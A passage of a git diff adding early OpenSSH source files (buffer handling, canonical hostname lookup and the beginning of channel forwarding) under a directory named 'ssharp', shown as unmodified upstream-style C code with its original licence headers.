concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +#include "includes.h" +RCSID("$OpenBSD: buffer.c,v 1.13 2001/04/12 19:15:24 markus Exp $"); + +#include "xmalloc.h" +#include "buffer.h" +#include "log.h" + +/* Initializes the buffer structure. */ + +void +buffer_init(Buffer *buffer) +{ + buffer->alloc = 4096; + buffer->buf = xmalloc(buffer->alloc); + buffer->offset = 0; + buffer->end = 0; +} + +/* Frees any memory used for the buffer. */ + +void +buffer_free(Buffer *buffer) +{ + memset(buffer->buf, 0, buffer->alloc); + xfree(buffer->buf); +} + +/* + * Clears any data from the buffer, making it empty. This does not actually + * zero the memory. + */ + +void +buffer_clear(Buffer *buffer) +{ + buffer->offset = 0; + buffer->end = 0; +} + +/* Appends data to the buffer, expanding it if necessary. */ + +void +buffer_append(Buffer *buffer, const char *data, u_int len) +{ + char *cp; + buffer_append_space(buffer, &cp, len); + memcpy(cp, data, len); +} + +/* + * Appends space to the buffer, expanding the buffer if necessary. This does + * not actually copy the data into the buffer, but instead returns a pointer + * to the allocated region. + */ + +void +buffer_append_space(Buffer *buffer, char **datap, u_int len) +{ + /* If the buffer is empty, start using it from the beginning. */ + if (buffer->offset == buffer->end) { + buffer->offset = 0; + buffer->end = 0; + } +restart: + /* If there is enough space to store all data, store it now. */ + if (buffer->end + len < buffer->alloc) { + *datap = buffer->buf + buffer->end; + buffer->end += len; + return; + } + /* + * If the buffer is quite empty, but all data is at the end, move the + * data to the beginning and retry. + */ + if (buffer->offset > buffer->alloc / 2) { + memmove(buffer->buf, buffer->buf + buffer->offset, + buffer->end - buffer->offset); + buffer->end -= buffer->offset; + buffer->offset = 0; + goto restart; + } + /* Increase the size of the buffer and retry. */ + buffer->alloc += len + 32768; + buffer->buf = xrealloc(buffer->buf, buffer->alloc); + goto restart; +} + +/* Returns the number of bytes of data in the buffer. */ + +u_int +buffer_len(Buffer *buffer) +{ + return buffer->end - buffer->offset; +} + +/* Gets data from the beginning of the buffer. */ + +void +buffer_get(Buffer *buffer, char *buf, u_int len) +{ + if (len > buffer->end - buffer->offset) + fatal("buffer_get: trying to get more bytes %d than in buffer %d", + len, buffer->end - buffer->offset); + memcpy(buf, buffer->buf + buffer->offset, len); + buffer->offset += len; +} + +/* Consumes the given number of bytes from the beginning of the buffer. */ + +void +buffer_consume(Buffer *buffer, u_int bytes) +{ + if (bytes > buffer->end - buffer->offset) + fatal("buffer_consume: trying to get more bytes than in buffer"); + buffer->offset += bytes; +} + +/* Consumes the given number of bytes from the end of the buffer. */ + +void +buffer_consume_end(Buffer *buffer, u_int bytes) +{ + if (bytes > buffer->end - buffer->offset) + fatal("buffer_consume_end: trying to get more bytes than in buffer"); + buffer->end -= bytes; +} + +/* Returns a pointer to the first used byte in the buffer. */ + +char * +buffer_ptr(Buffer *buffer) +{ + return buffer->buf + buffer->offset; +} + +/* Dumps the contents of the buffer to stderr. */ + +void +buffer_dump(Buffer *buffer) +{ + int i; + u_char *ucp = (u_char *) buffer->buf; + + for (i = buffer->offset; i < buffer->end; i++) { + fprintf(stderr, "%02x", ucp[i]); + if ((i-buffer->offset)%16==15) + fprintf(stderr, "\r\n"); + else if ((i-buffer->offset)%2==1) + fprintf(stderr, " "); + } + fprintf(stderr, "\r\n"); +} diff --git a/other/ssharp/buffer.h b/other/ssharp/buffer.h new file mode 100644 index 0000000..f3c509d --- /dev/null +++ b/other/ssharp/buffer.h @@ -0,0 +1,66 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Code for manipulating FIFO buffers. + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +/* RCSID("$OpenBSD: buffer.h,v 1.7 2000/12/19 23:17:55 markus Exp $"); */ + +#ifndef BUFFER_H +#define BUFFER_H + +typedef struct { + char *buf; /* Buffer for data. */ + u_int alloc; /* Number of bytes allocated for data. */ + u_int offset; /* Offset of first byte containing data. */ + u_int end; /* Offset of last byte containing data. */ +} Buffer; +/* Initializes the buffer structure. */ +void buffer_init(Buffer * buffer); + +/* Frees any memory used for the buffer. */ +void buffer_free(Buffer * buffer); + +/* Clears any data from the buffer, making it empty. This does not actually + zero the memory. */ +void buffer_clear(Buffer * buffer); + +/* Appends data to the buffer, expanding it if necessary. */ +void buffer_append(Buffer * buffer, const char *data, u_int len); + +/* + * Appends space to the buffer, expanding the buffer if necessary. This does + * not actually copy the data into the buffer, but instead returns a pointer + * to the allocated region. + */ +void buffer_append_space(Buffer * buffer, char **datap, u_int len); + +/* Returns the number of bytes of data in the buffer. */ +u_int buffer_len(Buffer * buffer); + +/* Gets data from the beginning of the buffer. */ +void buffer_get(Buffer * buffer, char *buf, u_int len); + +/* Consumes the given number of bytes from the beginning of the buffer. */ +void buffer_consume(Buffer * buffer, u_int bytes); + +/* Consumes the given number of bytes from the end of the buffer. */ +void buffer_consume_end(Buffer * buffer, u_int bytes); + +/* Returns a pointer to the first used byte in the buffer. */ +char *buffer_ptr(Buffer * buffer); + +/* + * Dumps the contents of the buffer to stderr in hex. This intended for + * debugging purposes only. + */ +void buffer_dump(Buffer * buffer); + +#endif /* BUFFER_H */ diff --git a/other/ssharp/canohost.c b/other/ssharp/canohost.c new file mode 100644 index 0000000..5d345eb --- /dev/null +++ b/other/ssharp/canohost.c @@ -0,0 +1,356 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Functions for returning the canonical host name of the remote site. + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +#include "includes.h" +RCSID("$OpenBSD: canohost.c,v 1.26 2001/04/18 14:15:00 markus Exp $"); + +#include "packet.h" +#include "xmalloc.h" +#include "log.h" +#include "canohost.h" + +void check_ip_options(int socket, char *ipaddr); + +/* + * Return the canonical name of the host at the other end of the socket. The + * caller should free the returned string with xfree. + */ + +char * +get_remote_hostname(int socket, int reverse_mapping_check) +{ + struct sockaddr_storage from; + int i; + socklen_t fromlen; + struct addrinfo hints, *ai, *aitop; + char name[NI_MAXHOST], ntop[NI_MAXHOST], ntop2[NI_MAXHOST]; + + /* Get IP address of client. */ + fromlen = sizeof(from); + memset(&from, 0, sizeof(from)); + if (getpeername(socket, (struct sockaddr *) &from, &fromlen) < 0) { + debug("getpeername failed: %.100s", strerror(errno)); + fatal_cleanup(); + } +#ifdef IPV4_IN_IPV6 + if (from.ss_family == AF_INET6) { + struct sockaddr_in6 *from6 = (struct sockaddr_in6 *)&from; + + /* Detect IPv4 in IPv6 mapped address and convert it to */ + /* plain (AF_INET) IPv4 address */ + if (IN6_IS_ADDR_V4MAPPED(&from6->sin6_addr)) { + struct sockaddr_in *from4 = (struct sockaddr_in *)&from; + struct in_addr addr; + u_int16_t port; + + memcpy(&addr, ((char *)&from6->sin6_addr) + 12, sizeof(addr)); + port = from6->sin6_port; + + memset(&from, 0, sizeof(from)); + + from4->sin_family = AF_INET; + memcpy(&from4->sin_addr, &addr, sizeof(addr)); + from4->sin_port = port; + } + } +#endif + if (from.ss_family == AF_INET) + check_ip_options(socket, ntop); + + if (getnameinfo((struct sockaddr *)&from, fromlen, ntop, sizeof(ntop), + NULL, 0, NI_NUMERICHOST) != 0) + fatal("get_remote_hostname: getnameinfo NI_NUMERICHOST failed"); + + debug3("Trying to reverse map address %.100s.", ntop); + /* Map the IP address to a host name. */ + if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name), + NULL, 0, NI_NAMEREQD) != 0) { + /* Host name not found. Use ip address. */ + log("Could not reverse map address %.100s.", ntop); + return xstrdup(ntop); + } + + /* Got host name. */ + name[sizeof(name) - 1] = '\0'; + /* + * Convert it to all lowercase (which is expected by the rest + * of this software). + */ + for (i = 0; name[i]; i++) + if (isupper(name[i])) + name[i] = tolower(name[i]); + + if (!reverse_mapping_check) + return xstrdup(name); + /* + * Map it back to an IP address and check that the given + * address actually is an address of this host. This is + * necessary because anyone with access to a name server can + * define arbitrary names for an IP address. Mapping from + * name to IP address can be trusted better (but can still be + * fooled if the intruder has access to the name server of + * the domain). + */ + memset(&hints, 0, sizeof(hints)); + hints.ai_family = from.ss_family; + hints.ai_socktype = SOCK_STREAM; + if (getaddrinfo(name, NULL, &hints, &aitop) != 0) { + log("reverse mapping checking getaddrinfo for %.700s " + "failed - POSSIBLE BREAKIN ATTEMPT!", name); + return xstrdup(ntop); + } + /* Look for the address from the list of addresses. */ + for (ai = aitop; ai; ai = ai->ai_next) { + if (getnameinfo(ai->ai_addr, ai->ai_addrlen, ntop2, + sizeof(ntop2), NULL, 0, NI_NUMERICHOST) == 0 && + (strcmp(ntop, ntop2) == 0)) + break; + } + freeaddrinfo(aitop); + /* If we reached the end of the list, the address was not there. */ + if (!ai) { + /* Address not found for the host name. */ + log("Address %.100s maps to %.600s, but this does not " + "map back to the address - POSSIBLE BREAKIN ATTEMPT!", + ntop, name); + return xstrdup(ntop); + } + return xstrdup(name); +} + +/* + * If IP options are supported, make sure there are none (log and + * disconnect them if any are found). Basically we are worried about + * source routing; it can be used to pretend you are somebody + * (ip-address) you are not. That itself may be "almost acceptable" + * under certain circumstances, but rhosts autentication is useless + * if source routing is accepted. Notice also that if we just dropped + * source routing here, the other side could use IP spoofing to do + * rest of the interaction and could still bypass security. So we + * exit here if we detect any IP options. + */ +/* IPv4 only */ +void +check_ip_options(int socket, char *ipaddr) +{ + u_char options[200]; + char text[sizeof(options) * 3 + 1]; + socklen_t option_size; + int i, ipproto; + struct protoent *ip; + + if ((ip = getprotobyname("ip")) != NULL) + ipproto = ip->p_proto; + else + ipproto = IPPROTO_IP; + option_size = sizeof(options); + if (getsockopt(socket, ipproto, IP_OPTIONS, (void *)options, + &option_size) >= 0 && option_size != 0) { + text[0] = '\0'; + for (i = 0; i < option_size; i++) + snprintf(text + i*3, sizeof(text) - i*3, + " %2.2x", options[i]); + log("Connection from %.100s with IP options:%.800s", + ipaddr, text); + packet_disconnect("Connection from %.100s with IP options:%.800s", + ipaddr, text); + } +} + +/* + * Return the canonical name of the host in the other side of the current + * connection. The host name is cached, so it is efficient to call this + * several times. + */ + +const char * +get_canonical_hostname(int reverse_mapping_check) +{ + static char *canonical_host_name = NULL; + static int reverse_mapping_checked = 0; + + /* Check if we have previously retrieved name with same option. */ + if (canonical_host_name != NULL) { + if (reverse_mapping_checked != reverse_mapping_check) + xfree(canonical_host_name); + else + return canonical_host_name; + } + + /* Get the real hostname if socket; otherwise return UNKNOWN. */ + if (packet_connection_is_on_socket()) + canonical_host_name = get_remote_hostname( + packet_get_connection_in(), reverse_mapping_check); + else + canonical_host_name = xstrdup("UNKNOWN"); + + reverse_mapping_checked = reverse_mapping_check; + return canonical_host_name; +} + +/* + * Returns the remote IP-address of socket as a string. The returned + * string must be freed. + */ +char * +get_socket_address(int socket, int remote, int flags) +{ + struct sockaddr_storage addr; + socklen_t addrlen; + char ntop[NI_MAXHOST]; + + /* Get IP address of client. */ + addrlen = sizeof(addr); + memset(&addr, 0, sizeof(addr)); + + if (remote) { + if (getpeername(socket, (struct sockaddr *)&addr, &addrlen) + < 0) { + debug("get_socket_ipaddr: getpeername failed: %.100s", + strerror(errno)); + return NULL; + } + } else { + if (getsockname(socket, (struct sockaddr *)&addr, &addrlen) + < 0) { + debug("get_socket_ipaddr: getsockname failed: %.100s", + strerror(errno)); + return NULL; + } + } + /* Get the address in ascii. */ + if (getnameinfo((struct sockaddr *)&addr, addrlen, ntop, sizeof(ntop), + NULL, 0, flags) != 0) { + error("get_socket_ipaddr: getnameinfo %d failed", flags); + return NULL; + } + return xstrdup(ntop); +} + +char * +get_peer_ipaddr(int socket) +{ + return get_socket_address(socket, 1, NI_NUMERICHOST); +} + +char * +get_local_ipaddr(int socket) +{ + return get_socket_address(socket, 0, NI_NUMERICHOST); +} + +char * +get_local_name(int socket) +{ + return get_socket_address(socket, 0, NI_NAMEREQD); +} + +/* + * Returns the IP-address of the remote host as a string. The returned + * string must not be freed. + */ + +const char * +get_remote_ipaddr() +{ + static char *canonical_host_ip = NULL; + + /* Check whether we have cached the ipaddr. */ + if (canonical_host_ip == NULL) { + if (packet_connection_is_on_socket()) { + canonical_host_ip = + get_peer_ipaddr(packet_get_connection_in()); + if (canonical_host_ip == NULL) + fatal_cleanup(); + } else { + /* If not on socket, return UNKNOWN. */ + canonical_host_ip = xstrdup("UNKNOWN"); + } + } + return canonical_host_ip; +} + +const char * +get_remote_name_or_ip(u_int utmp_len, int reverse_mapping_check) +{ + static const char *remote = ""; + if (utmp_len > 0) + remote = get_canonical_hostname(reverse_mapping_check); + if (utmp_len == 0 || strlen(remote) > utmp_len) + remote = get_remote_ipaddr(); + return remote; +} + +/* Returns the local/remote port for the socket. */ + +int +get_sock_port(int sock, int local) +{ + struct sockaddr_storage from; + socklen_t fromlen; + char strport[NI_MAXSERV]; + + /* Get IP address of client. */ + fromlen = sizeof(from); + memset(&from, 0, sizeof(from)); + if (local) { + if (getsockname(sock, (struct sockaddr *)&from, &fromlen) < 0) { + error("getsockname failed: %.100s", strerror(errno)); + return 0; + } + } else { + if (getpeername(sock, (struct sockaddr *) & from, &fromlen) < 0) { + debug("getpeername failed: %.100s", strerror(errno)); + fatal_cleanup(); + } + } + /* Return port number. */ + if (getnameinfo((struct sockaddr *)&from, fromlen, NULL, 0, + strport, sizeof(strport), NI_NUMERICSERV) != 0) + fatal("get_sock_port: getnameinfo NI_NUMERICSERV failed"); + return atoi(strport); +} + +/* Returns remote/local port number for the current connection. */ + +int +get_port(int local) +{ + /* + * If the connection is not a socket, return 65535. This is + * intentionally chosen to be an unprivileged port number. + */ + if (!packet_connection_is_on_socket()) + return 65535; + + /* Get socket and return the port number. */ + return get_sock_port(packet_get_connection_in(), local); +} + +int +get_peer_port(int sock) +{ + return get_sock_port(sock, 0); +} + +int +get_remote_port() +{ + return get_port(0); +} + +int +get_local_port() +{ + return get_port(1); +} diff --git a/other/ssharp/canohost.h b/other/ssharp/canohost.h new file mode 100644 index 0000000..36fb345 --- /dev/null +++ b/other/ssharp/canohost.h @@ -0,0 +1,38 @@ +/* $OpenBSD: canohost.h,v 1.6 2001/04/12 19:15:24 markus Exp $ */ + +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +/* + * Return the canonical name of the host in the other side of the current + * connection (as returned by packet_get_connection). The host name is + * cached, so it is efficient to call this several times. + */ +const char *get_canonical_hostname(int reverse_mapping_check); + +/* + * Returns the IP-address of the remote host as a string. The returned + * string is cached and must not be freed. + */ +const char *get_remote_ipaddr(void); + +const char *get_remote_name_or_ip(u_int utmp_len, int reverse_mapping_check); + +/* Returns the ipaddr/port number of the peer of the socket. */ +char * get_peer_ipaddr(int socket); +int get_peer_port(int sock); +char * get_local_ipaddr(int socket); +char * get_local_name(int socket); + +/* Returns the port number of the remote/local host. */ +int get_remote_port(void); +int get_local_port(void); diff --git a/other/ssharp/channels.c b/other/ssharp/channels.c new file mode 100644 index 0000000..57890ae --- /dev/null +++ b/other/ssharp/channels.c @@ -0,0 +1,2813 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * This file contains functions for generic socket connection forwarding. + * There is also code for initiating connection forwarding for X11 connections, + * arbitrary tcp/ip connections, and the authentication agent connection. + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + * + * + * SSH2 support added by Markus Friedl. + * Copyright (c) 1999,2000 Markus Friedl. All rights reserved. + * Copyright (c) 1999 Dug Song. All rights reserved. + * Copyright (c) 1999 Theo de Raadt. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: channels.c,v 1.109 2001/04/17 12:55:03 markus Exp $"); + +#include +#include + +#include "ssh.h" +#include "ssh1.h" +#include "ssh2.h" +#include "packet.h" +#include "xmalloc.h" +#include "buffer.h" +#include "bufaux.h" +#include "uidswap.h" +#include "log.h" +#include "misc.h" +#include "channels.h" +#include "nchan.h" +#include "compat.h" +#include "canohost.h" +#include "key.h" +#include "authfd.h" + +/* Maximum number of fake X11 displays to try. */ +#define MAX_DISPLAYS 1000 + +/* Max len of agent socket */ +#define MAX_SOCKET_NAME 100 + +/* + * Pointer to an array containing all allocated channels. The array is + * dynamically extended as needed. + */ +static Channel *channels = NULL; + +/* + * Size of the channel array. All slots of the array must always be + * initialized (at least the type field); unused slots are marked with type + * SSH_CHANNEL_FREE. + */ +static int channels_alloc = 0; + +/* + * Maximum file descriptor value used in any of the channels. This is + * updated in channel_allocate. + */ +static int channel_max_fd = 0; + +/* Name and directory of socket for authentication agent forwarding. */ +static char *channel_forwarded_auth_socket_name = NULL; +static char *channel_forwarded_auth_socket_dir = NULL; + +/* Saved X11 authentication protocol name. */ +char *x11_saved_proto = NULL; + +/* Saved X11 authentication data. This is the real data. */ +char *x11_saved_data = NULL; +u_int x11_saved_data_len = 0; + +/* + * Fake X11 authentication data. This is what the server will be sending us; + * we should replace any occurrences of this by the real data. + */ +char *x11_fake_data = NULL; +u_int x11_fake_data_len; + +/* + * Data structure for storing which hosts are permitted for forward requests. + * The local sides of any remote forwards are stored in this array to prevent + * a corrupt remote server from accessing arbitrary TCP/IP ports on our local + * network (which might be behind a firewall). + */ +typedef struct { + char *host_to_connect; /* Connect to 'host'. */ + u_short port_to_connect; /* Connect to 'port'. */ + u_short listen_port; /* Remote side should listen port number. */ +} ForwardPermission; + +/* List of all permitted host/port pairs to connect. */ +static ForwardPermission permitted_opens[SSH_MAX_FORWARDS_PER_DIRECTION]; +/* Number of permitted host/port pairs in the array. */ +static int num_permitted_opens = 0; +/* + * If this is true, all opens are permitted. This is the case on the server + * on which we have to trust the client anyway, and the user could do + * anything after logging in anyway. + */ +static int all_opens_permitted = 0; + +/* This is set to true if both sides support SSH_PROTOFLAG_HOST_IN_FWD_OPEN. */ +static int have_hostname_in_open = 0; + +/* AF_UNSPEC or AF_INET or AF_INET6 */ +extern int IPv4or6; + +void port_open_helper(Channel *c, char *rtype); + +/* Sets specific protocol options. */ + +void +channel_set_options(int hostname_in_open) +{ + have_hostname_in_open = hostname_in_open; +} + +/* lookup channel by id */ + +Channel * +channel_lookup(int id) +{ + Channel *c; + if (id < 0 || id > channels_alloc) { + log("channel_lookup: %d: bad id", id); + return NULL; + } + c = &channels[id]; + if (c->type == SSH_CHANNEL_FREE) { + log("channel_lookup: %d: bad id: channel free", id); + return NULL; + } + return c; +} + +/* + * Register filedescriptors for a channel, used when allocating a channel or + * when the channel consumer/producer is ready, e.g. shell exec'd + */ + +void +channel_register_fds(Channel *c, int rfd, int wfd, int efd, + int extusage, int nonblock) +{ + /* Update the maximum file descriptor value. */ + channel_max_fd = MAX(channel_max_fd, rfd); + channel_max_fd = MAX(channel_max_fd, wfd); + channel_max_fd = MAX(channel_max_fd, efd); + + /* XXX set close-on-exec -markus */ + + c->rfd = rfd; + c->wfd = wfd; + c->sock = (rfd == wfd) ? rfd : -1; + c->efd = efd; + c->extended_usage = extusage; + + /* XXX ugly hack: nonblock is only set by the server */ + if (nonblock && isatty(c->rfd)) { + debug("channel %d: rfd %d isatty", c->self, c->rfd); + c->isatty = 1; + if (!isatty(c->wfd)) { + error("channel %d: wfd %d is not a tty?", + c->self, c->wfd); + } + } else { + c->isatty = 0; + } + + /* enable nonblocking mode */ + if (nonblock) { + if (rfd != -1) + set_nonblock(rfd); + if (wfd != -1) + set_nonblock(wfd); + if (efd != -1) + set_nonblock(efd); + } +} + +/* + * Allocate a new channel object and set its type and socket. This will cause + * remote_name to be freed. + */ + +int +channel_new(char *ctype, int type, int rfd, int wfd, int efd, + int window, int maxpack, int extusage, char *remote_name, int nonblock) +{ + int i, found; + Channel *c; + + /* Do initial allocation if this is the first call. */ + if (channels_alloc == 0) { + chan_init(); + channels_alloc = 10; + channels = xmalloc(channels_alloc * sizeof(Channel)); + for (i = 0; i < channels_alloc; i++) + channels[i].type = SSH_CHANNEL_FREE; + /* + * Kludge: arrange a call to channel_stop_listening if we + * terminate with fatal(). + */ + fatal_add_cleanup((void (*) (void *)) channel_stop_listening, NULL); + } + /* Try to find a free slot where to put the new channel. */ + for (found = -1, i = 0; i < channels_alloc; i++) + if (channels[i].type == SSH_CHANNEL_FREE) { + /* Found a free slot. */ + found = i; + break; + } + if (found == -1) { + /* There are no free slots. Take last+1 slot and expand the array. */ + found = channels_alloc; + channels_alloc += 10; + debug2("channel: expanding %d", channels_alloc); + channels = xrealloc(channels, channels_alloc * sizeof(Channel)); + for (i = found; i < channels_alloc; i++) + channels[i].type = SSH_CHANNEL_FREE; + } + /* Initialize and return new channel number. */ + c = &channels[found]; + buffer_init(&c->input); + buffer_init(&c->output); + buffer_init(&c->extended); + chan_init_iostates(c); + channel_register_fds(c, rfd, wfd, efd, extusage, nonblock); + c->self = found; + c->type = type; + c->ctype = ctype; + c->local_window = window; + c->local_window_max = window; + c->local_consumed = 0; + c->local_maxpacket = maxpack; + c->remote_id = -1; + c->remote_name = remote_name; + c->remote_window = 0; + c->remote_maxpacket = 0; + c->cb_fn = NULL; + c->cb_arg = NULL; + c->cb_event = 0; + c->dettach_user = NULL; + c->input_filter = NULL; + debug("channel %d: new [%s]", found, remote_name); + return found; +} +/* old interface XXX */ +int +channel_allocate(int type, int sock, char *remote_name) +{ + return channel_new("", type, sock, sock, -1, 0, 0, 0, remote_name, 1); +} + + +/* Close all channel fd/socket. */ + +void +channel_close_fds(Channel *c) +{ + if (c->sock != -1) { + close(c->sock); + c->sock = -1; + } + if (c->rfd != -1) { + close(c->rfd); + c->rfd = -1; + } + if (c->wfd != -1) { + close(c->wfd); + c->wfd = -1; + } + if (c->efd != -1) { + close(c->efd); + c->efd = -1; + } +} + +/* Free the channel and close its fd/socket. */ + +void +channel_free(int id) +{ + Channel *c = channel_lookup(id); + char *s = channel_open_message(); + + if (c == NULL) + packet_disconnect("channel free: bad local channel %d", id); + debug("channel_free: channel %d: status: %s", id, s); + xfree(s); + + if (c->dettach_user != NULL) { + debug("channel_free: channel %d: dettaching channel user", id); + c->dettach_user(c->self, NULL); + } + if (c->sock != -1) + shutdown(c->sock, SHUT_RDWR); + channel_close_fds(c); + buffer_free(&c->input); + buffer_free(&c->output); + buffer_free(&c->extended); + c->type = SSH_CHANNEL_FREE; + if (c->remote_name) { + xfree(c->remote_name); + c->remote_name = NULL; + } +} + +/* + * 'channel_pre*' are called just before select() to add any bits relevant to + * channels in the select bitmasks. + */ +/* + * 'channel_post*': perform any appropriate operations for channels which + * have events pending. + */ +typedef void chan_fn(Channel *c, fd_set * readset, fd_set * writeset); +chan_fn *channel_pre[SSH_CHANNEL_MAX_TYPE]; +chan_fn *channel_post[SSH_CHANNEL_MAX_TYPE]; + +void +channel_pre_listener(Channel *c, fd_set * readset, fd_set * writeset) +{ + FD_SET(c->sock, readset); +} + +void +channel_pre_connecting(Channel *c, fd_set * readset, fd_set * writeset) +{ + debug3("channel %d: waiting for connection", c->self); + FD_SET(c->sock, writeset); +} + +void +channel_pre_open_13(Channel *c, fd_set * readset, fd_set * writeset) +{ + if (buffer_len(&c->input) < packet_get_maxsize()) + FD_SET(c->sock, readset); + if (buffer_len(&c->output) > 0) + FD_SET(c->sock, writeset); +} + +void +channel_pre_open_15(Channel *c, fd_set * readset, fd_set * writeset) +{ + /* test whether sockets are 'alive' for read/write */ + if (c->istate == CHAN_INPUT_OPEN) + if (buffer_len(&c->input) < packet_get_maxsize()) + FD_SET(c->sock, readset); + if (c->ostate == CHAN_OUTPUT_OPEN || + c->ostate == CHAN_OUTPUT_WAIT_DRAIN) { + if (buffer_len(&c->output) > 0) { + FD_SET(c->sock, writeset); + } else if (c->ostate == CHAN_OUTPUT_WAIT_DRAIN) { + chan_obuf_empty(c); + } + } +} + +void +channel_pre_open_20(Channel *c, fd_set * readset, fd_set * writeset) +{ + if (c->istate == CHAN_INPUT_OPEN && + c->remote_window > 0 && + buffer_len(&c->input) < c->remote_window) + FD_SET(c->rfd, readset); + if (c->ostate == CHAN_OUTPUT_OPEN || + c->ostate == CHAN_OUTPUT_WAIT_DRAIN) { + if (buffer_len(&c->output) > 0) { + FD_SET(c->wfd, writeset); + } else if (c->ostate == CHAN_OUTPUT_WAIT_DRAIN) { + chan_obuf_empty(c); + } + } + /** XXX check close conditions, too */ + if (c->efd != -1) { + if (c->extended_usage == CHAN_EXTENDED_WRITE && + buffer_len(&c->extended) > 0) + FD_SET(c->efd, writeset); + else if (c->extended_usage == CHAN_EXTENDED_READ && + buffer_len(&c->extended) < c->remote_window) + FD_SET(c->efd, readset); + } +} + +void +channel_pre_input_draining(Channel *c, fd_set * readset, fd_set * writeset) +{ + if (buffer_len(&c->input) == 0) { + packet_start(SSH_MSG_CHANNEL_CLOSE); + packet_put_int(c->remote_id); + packet_send(); + c->type = SSH_CHANNEL_CLOSED; + debug("channel %d: closing after input drain.", c->self); + } +} + +void +channel_pre_output_draining(Channel *c, fd_set * readset, fd_set * writeset) +{ + if (buffer_len(&c->output) == 0) + channel_free(c->self); + else + FD_SET(c->sock, writeset); +} + +/* + * This is a special state for X11 authentication spoofing. An opened X11 + * connection (when authentication spoofing is being done) remains in this + * state until the first packet has been completely read. The authentication + * data in that packet is then substituted by the real data if it matches the + * fake data, and the channel is put into normal mode. + * XXX All this happens at the client side. + */ +int +x11_open_helper(Channel *c) +{ + u_char *ucp; + u_int proto_len, data_len; + + /* Check if the fixed size part of the packet is in buffer. */ + if (buffer_len(&c->output) < 12) + return 0; + + /* Parse the lengths of variable-length fields. */ + ucp = (u_char *) buffer_ptr(&c->output); + if (ucp[0] == 0x42) { /* Byte order MSB first. */ + proto_len = 256 * ucp[6] + ucp[7]; + data_len = 256 * ucp[8] + ucp[9]; + } else if (ucp[0] == 0x6c) { /* Byte order LSB first. */ + proto_len = ucp[6] + 256 * ucp[7]; + data_len = ucp[8] + 256 * ucp[9]; + } else { + debug("Initial X11 packet contains bad byte order byte: 0x%x", + ucp[0]); + return -1; + } + + /* Check if the whole packet is in buffer. */ + if (buffer_len(&c->output) < + 12 + ((proto_len + 3) & ~3) + ((data_len + 3) & ~3)) + return 0; + + /* Check if authentication protocol matches. */ + if (proto_len != strlen(x11_saved_proto) || + memcmp(ucp + 12, x11_saved_proto, proto_len) != 0) { + debug("X11 connection uses different authentication protocol."); + return -1; + } + /* Check if authentication data matches our fake data. */ + if (data_len != x11_fake_data_len || + memcmp(ucp + 12 + ((proto_len + 3) & ~3), + x11_fake_data, x11_fake_data_len) != 0) { + debug("X11 auth data does not match fake data."); + return -1; + } + /* Check fake data length */ + if (x11_fake_data_len != x11_saved_data_len) { + error("X11 fake_data_len %d != saved_data_len %d", + x11_fake_data_len, x11_saved_data_len); + return -1; + } + /* + * Received authentication protocol and data match + * our fake data. Substitute the fake data with real + * data. + */ + memcpy(ucp + 12 + ((proto_len + 3) & ~3), + x11_saved_data, x11_saved_data_len); + return 1; +} + +void +channel_pre_x11_open_13(Channel *c, fd_set * readset, fd_set * writeset) +{ + int ret = x11_open_helper(c); + if (ret == 1) { + /* Start normal processing for the channel. */ + c->type = SSH_CHANNEL_OPEN; + channel_pre_open_13(c, readset, writeset); + } else if (ret == -1) { + /* + * We have received an X11 connection that has bad + * authentication information. + */ + log("X11 connection rejected because of wrong authentication."); + buffer_clear(&c->input); + buffer_clear(&c->output); + close(c->sock); + c->sock = -1; + c->type = SSH_CHANNEL_CLOSED; + packet_start(SSH_MSG_CHANNEL_CLOSE); + packet_put_int(c->remote_id); + packet_send(); + } +} + +void +channel_pre_x11_open(Channel *c, fd_set * readset, fd_set * writeset) +{ + int ret = x11_open_helper(c); + if (ret 